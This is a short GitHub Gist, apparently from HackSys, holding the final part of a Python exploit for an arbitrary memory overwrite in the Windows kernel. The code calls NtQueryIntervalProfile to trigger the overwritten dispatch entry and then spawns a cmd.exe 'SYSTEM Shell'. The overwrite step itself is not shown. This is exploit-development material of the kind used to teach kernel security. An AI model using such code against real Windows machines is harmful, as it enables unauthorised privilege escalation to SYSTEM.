Created
May 7, 2015 08:06
-
-
Save hacksysteam/e3af9f2a1cef7bf528db to your computer and use it in GitHub Desktop.
Exploit Snippet for Arbitrary Memory Overwrite in Windows Kernel
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
out = c_ulong() | |
inp = 0x1337 | |
hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) | |
print("[+] Spawning SYSTEM Shell") | |
program_pid = subprocess.Popen("cmd.exe", | |
creationflags=subprocess.CREATE_NEW_CONSOLE, | |
close_fds=True).pid |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment